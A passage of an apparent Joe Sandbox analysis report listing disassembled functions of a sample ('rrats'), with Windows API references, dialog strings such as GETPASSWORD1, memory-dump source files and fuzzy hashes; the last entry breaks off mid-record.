Instruction ID: e1514ccabb70d98b800b5c7a0e80e94535dca0810ddaa1668dbdaed94097b7c0
Opcode Fuzzy Hash: ee5a0956578e84c6126998c001c68de95831d678edf8404ee8578e174488d58f
Instruction Fuzzy Hash: 001151B16407499FC3215F6A9C84AABFBECEBA5754F24482EF1DAC3200D671AA408B50

Function 00CBB270 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00CA1316: GetDlgItem.USER32(00000000,00003021), ref: 00CA135A
Part of subcall function 00CA1316: SetWindowTextW.USER32(00000000,00CD35F4), ref: 00CA1370

EndDialog.USER32(?,00000001), ref: 00CBB2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00CBB2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 00CBB304

Strings

GETPASSWORD1, xrefs: 00CBB289

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 3217e3f9a2751000a8428d5b113db9a81d066e2a2f803916e73fb2b612483405
Instruction ID: e051b308fb5e1a2865cc015da1d5b982a2200ed9b979200e56e399f243c5705c
Opcode Fuzzy Hash: 3217e3f9a2751000a8428d5b113db9a81d066e2a2f803916e73fb2b612483405
Instruction Fuzzy Hash: 4A11A132900219B6DF219EA59D49FFF3B6CEB1A710F000021FA45F6194C7E4AE4597B2

Function 00CBDCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 00CBDD1C, 00CBDD50
RENAMEDLG, xrefs: 00CBDD31

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: f614d5e8d3ea2c83310fc129119a04e29f673bb04d801767cc1925a0c2bd7641
Instruction ID: 652e798d309e0114abc1cbce5fdfac8c3427ad916123424a2d645cfd8cfb6078
Opcode Fuzzy Hash: f614d5e8d3ea2c83310fc129119a04e29f673bb04d801767cc1925a0c2bd7641
Instruction Fuzzy Hash: ED01B176604285AFDB118FA5FC84BEE7BA8F708344F000426F94AC72B0E6309954EBB0

Function 00CC9A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00CC9AA9
__alldvrm.LIBCMT ref: 00CC9CAA
__alldvrm.LIBCMT ref: 00CC9CCC

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 3257cbe3c23a9893bcf4e13c0b157f0aff40f0c1a093e58d5470b9d1dc85e048
Instruction ID: 3ddc79173d923570fd32f8bc8c14c8ed3518477e9611317a73fea3d610c3c7d2
Opcode Fuzzy Hash: 3257cbe3c23a9893bcf4e13c0b157f0aff40f0c1a093e58d5470b9d1dc85e048
Instruction Fuzzy Hash: D6A16A729007869FEB21CF28C895FAEBBE5EF51310F2841ADE4969B281C634DE41C751

Function 00CAA354 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00CA7F69,?,?,?), ref: 00CAA3FA
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,?,00000800,?,00CA7F69,?), ref: 00CAA43E
SetFileTime.KERNEL32(?,00000800,?,00000000,?,?,00000800,?,00CA7F69,?,?,?,?,?,?,?), ref: 00CAA4BF
CloseHandle.KERNEL32(?,?,?,00000800,?,00CA7F69,?,?,?,?,?,?,?,?,?,?), ref: 00CAA4C6

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: bace8473ae94c089d4813395f167cd689db05f07404f87ade9b682ae54c19f0a
Instruction ID: 349edb6052ebd4d0dd0aa31a505e8a536f7fb0e840387caed429cb4a93507273
Opcode Fuzzy Hash: bace8473ae94c089d4813395f167cd689db05f07404f87ade9b682ae54c19f0a
Instruction Fuzzy Hash: D641BE312483829AD731DF24DC55BEEBBE4AB86708F044919F5E193190D7A4EB48DB53

Function 00CA1100 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00CA112B
_wcslen.LIBCMT ref: 00CA1153
_wcslen.LIBCMT ref: 00CA1182
_wcslen.LIBCMT ref: 00CA11A9

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 4cc1e7bc8c164af0b1b850ec39ce8d053e31a057553ba7d16ce7a4d172abeab0
Instruction ID: e6e9339e5ef908823efbe2301ab14b33c31b6b0292d7379b13629297f1f66f90
Opcode Fuzzy Hash: 4cc1e7bc8c164af0b1b850ec39ce8d053e31a057553ba7d16ce7a4d172abeab0
Instruction Fuzzy Hash: 874191B190166A9BCB259F68CC4AAEF7BBCEF01310F04412DFD45F7245DA30AE558BA4

Function 00CCC988 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,2DE85006,00CC47C6,00000000,00000000,00CC57FB,?,00CC57FB,?,00000001,00CC47C6,2DE85006,00000001,00CC57FB,00CC57FB), ref: 00CCC9D5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00CCCA5E
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00CCCA70
__freea.LIBCMT ref: 00CCCA79

Part of subcall function 00CC8E06: RtlAllocateHeap.NTDLL(00000000,?,?,?,00CC4286,?,0000015D,?,?,?,?,00CC5762,000000FF,00000000,?,?), ref: 00CC8E38

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 05bfaa3c587a2f1956aac6348e8c8ebb939b801d88d3f1d750db98fe0980bef6
Instruction ID: 3239e2e265ef38366ee5f83e23f95c747b8faab11ce68b76d6c535ac439fe31f
Opcode Fuzzy Hash: 05bfaa3c587a2f1956aac6348e8c8ebb939b801d88d3f1d750db98fe0980bef6
Instruction Fuzzy Hash: 3431AE72A0021AABDF25DF65CC95EAE7BA5EB01310F04412DFC18E6250E735DE51EB90

Function 00CBA663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00CBA666
GetDeviceCaps.GDI32(00000000,00000058), ref: 00CBA675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00CBA683
ReleaseDC.USER32(00000000,00000000), ref: 00CBA691

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: c12ea386b1e01fdf0297a1fe8422dfdef6d2d27461a53b8a4500113eebcb19b0
Instruction ID: 316bd8c15f707d4b20bf655313e5955d14e36be3890575d50a8861fb2c515eb7
Opcode Fuzzy Hash: c12ea386b1e01fdf0297a1fe8422dfdef6d2d27461a53b8a4500113eebcb19b0
Instruction Fuzzy Hash: 66E0EC71943721ABD2615F61AC5DB8B3E58EB05B52F014501FB0DDA2D0DB6486048BB1

Function 00CBA80C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 00CBA699: GetDC.USER32(00000000), ref: 00CBA69D
Part of subcall function 00CBA699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00CBA6A8
Part of subcall function 00CBA699: ReleaseDC.USER32(00000000,00000000), ref: 00CBA6B3

GetObjectW.GDI32(?,00000018,?), ref: 00CBA83C

Part of subcall function 00CBAAC9: GetDC.USER32(00000000), ref: 00CBAAD2
Part of subcall function 00CBAAC9: GetObjectW.GDI32(?,00000018,?), ref: 00CBAB01
Part of subcall function 00CBAAC9: ReleaseDC.USER32(00000000,?), ref: 00CBAB99

Strings

(, xrefs: 00CBA9AA

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: ff3c42af5c05f546096d9e7c92fa3e4862dac8d3885f6a4489b5b26185f4a123
Instruction ID: 24283c795ebf55ba311687a479f2e4238c5e0338bb1ba2ea799c88d1ce6d3c80
Opcode Fuzzy Hash: ff3c42af5c05f546096d9e7c92fa3e4862dac8d3885f6a4489b5b26185f4a123
Instruction Fuzzy Hash: E491DFB1608354AFD610DF25D848A6BBBE8FFC9701F00491EF59AD3261DB31A945CF62

Function 00CCB1B8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00CCB324

Part of subcall function 00CC9097: IsProcessorFeaturePresent.KERNEL32(00000017,00CC9086,00000000,00CC8D94,00000000,00000000,00000000,00000016,?,?,00CC9093,00000000,00000000,00000000,00000000,00000000), ref: 00CC9099
Part of subcall function 00CC9097: GetCurrentProcess.KERNEL32(C0000417,00CC8D94,00000000,?,00000003,00CC9868), ref: 00CC90BB
Part of subcall function 00CC9097: TerminateProcess.KERNEL32(00000000,?,00000003,00CC9868), ref: 00CC90C2

Strings

., xrefs: 00CCB4DB
*?, xrefs: 00CCB1FB

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 871087a43f0bd1cbd1098384f5f5eb82fa4a5fd881eee7424b44ab4bf77dde44
Instruction ID: 81c9045d908c77bb187d31bcd0056ce1bacbba04f1ddff6dc894f9df375c15be
Opcode Fuzzy Hash: 871087a43f0bd1cbd1098384f5f5eb82fa4a5fd881eee7424b44ab4bf77dde44
Instruction Fuzzy Hash: 7F517F71E0010AAFDF14DFA8C882EADBBB5EF58310F25816DE854E7351EB319E019B50

Function 00CA75DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA75E3

Part of subcall function 00CB05DA: _wcslen.LIBCMT ref: 00CB05E0

Part of subcall function 00CAA56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00CAA598

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00CA777F

Part of subcall function 00CAA4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00CAA325,?,?,?,00CAA175,?,00000001,00000000,?,?), ref: 00CAA501
Part of subcall function 00CAA4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00CAA325,?,?,?,00CAA175,?,00000001,00000000,?,?), ref: 00CAA532

Strings

:, xrefs: 00CA7654

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: e32617a30bd0f8192b37a8558b60ac68edb3e78302be050a7b868eb510d78660
Instruction ID: 600ff1adc45023a5dfd324b8f9262b60fbe0551cf3a945d4ef0b0dd8c3312593
Opcode Fuzzy Hash: e32617a30bd0f8192b37a8558b60ac68edb3e78302be050a7b868eb510d78660
Instruction Fuzzy Hash: 364160B1801159AAEF25EB64CC5AEEEB37CEF56304F004196B609A2092DB745F88DF61

Function 00CBB48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00CBB4E3
_wcslen.LIBCMT ref: 00CBB4FE

Strings

}, xrefs: 00CBB4D6

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: f2f01826acc8fa5eba0398b833c9e90aafa8da3ff4c9c4cd261b4d8777d3673e
Instruction ID: e284b9ec8fd151cfe9087dbd3e340fd29608394d1ba10e8e57ce9083df59d509
Opcode Fuzzy Hash: f2f01826acc8fa5eba0398b833c9e90aafa8da3ff4c9c4cd261b4d8777d3673e
Instruction Fuzzy Hash: 3D21F07290435A5AD731EA64D845FABB3ECEF91750F04042EF640C3242EBA4DE4C93A3

Function 00CBDDA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(0001046A), ref: 00CBDDDC
DialogBoxParamW.USER32(GETPASSWORD1,0001046A,00CBB270,?,?), ref: 00CBDE18

Strings

GETPASSWORD1, xrefs: 00CBDE0D

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1
API String ID: 3157717868-3292211884
Opcode ID: 09c2c1d4ad5c7305809f6b205369e36697ddb82b62986ae29cce4a3e2646dcfa
Instruction ID: 2dc1dce9721d87249f8b4bf66c96193d66b94a5bedc3318fa95f53f4cfce0a9b
Opcode Fuzzy Hash: 09c2c1d4ad5c7305809f6b205369e36697ddb82b62986ae29cce4a3e2646dcfa
Instruction Fuzzy Hash: 261108726002C4AAEF11DE34AC41BEF3798AB06751F144075BE4AAB1C1D7B4AD55D760

Function 00CAF344 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00CAF2C5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00CAF2E4
Part of subcall function 00CAF2C5: GetProcAddress.KERNEL32(00CE81C8,CryptUnprotectMemory), ref: 00CAF2F4

GetCurrentProcessId.KERNEL32(?,?,?,00CAF33E), ref: 00CAF3D2

Strings

CryptProtectMemory failed, xrefs: 00CAF389
CryptUnprotectMemory failed, xrefs: 00CAF3CA

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 085d4ca24c61d0c93448c9ec79a5d0f2ce9f854179b7c3529a7438f4b031aaeb
Instruction ID: b225660c708de47529ba057c39db3f000569399bcb109c329eef401d28b32241
Opcode Fuzzy Hash: 085d4ca24c61d0c93448c9ec79a5d0f2ce9f854179b7c3529a7438f4b031aaeb
Instruction Fuzzy Hash: 7D112631A0226AABEF15AF71DD45B6E3754FF02768B04812EFC156F2A1DA309E038791

Function 00CAB991 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00CAB9B8

Part of subcall function 00CA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CA40A5

Strings

%c:\, xrefs: 00CAB9AE

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: 9faff98e9ea3e0e6e9f6a24fd5cd25f92240ab0bc22b1ea639fc1c1e3609c905
Instruction ID: 1fbf53ea4dd70cb0478871ede05e597c26ddc8b9dec8c1a7ef5c8afbc93e3ac8
Opcode Fuzzy Hash: 9faff98e9ea3e0e6e9f6a24fd5cd25f92240ab0bc22b1ea639fc1c1e3609c905
Instruction Fuzzy Hash: E701F563504313799A306B75DC42E6BABACEE93774B40841EF558D6083EB30DD40A3B1

Function 00CA1316 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00CAE2E8: _swprintf.LIBCMT ref: 00CAE30E
Part of subcall function 00CAE2E8: _strlen.LIBCMT ref: 00CAE32F
Part of subcall function 00CAE2E8: SetDlgItemTextW.USER32(?,00CDE274,?), ref: 00CAE38F
Part of subcall function 00CAE2E8: GetWindowRect.USER32(?,?), ref: 00CAE3C9
Part of subcall function 00CAE2E8: GetClientRect.USER32(?,?), ref: 00CAE3D5

GetDlgItem.USER32(00000000,00003021), ref: 00CA135A
SetWindowTextW.USER32(00000000,00CD35F4), ref: 00CA1370

Strings

0, xrefs: 00CA1319

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 3e1aba4d05410b4437c42b18dbd62cc70656af143f4607e6f6e5e83c38389788
Instruction ID: ea258e81fdba878a2032b38d35a79bcf717d0e7cfc844d4da8758ec16181c7a5
Opcode Fuzzy Hash: 3e1aba4d05410b4437c42b18dbd62cc70656af143f4607e6f6e5e83c38389788
Instruction Fuzzy Hash: 07F0447010638AA6DF151F518C0D7E93B59AF46348F0C4214FD58955B1DB74CB90EA50

Function 00CB0FE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00CB1101,?,?,00CB117F,?,?,?,?,?,00CB1169), ref: 00CB0FEA
GetLastError.KERNEL32(?,?,00CB117F,?,?,?,?,?,00CB1169), ref: 00CB0FF6

Part of subcall function 00CA6C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CA6C54

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00CB0FFF

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
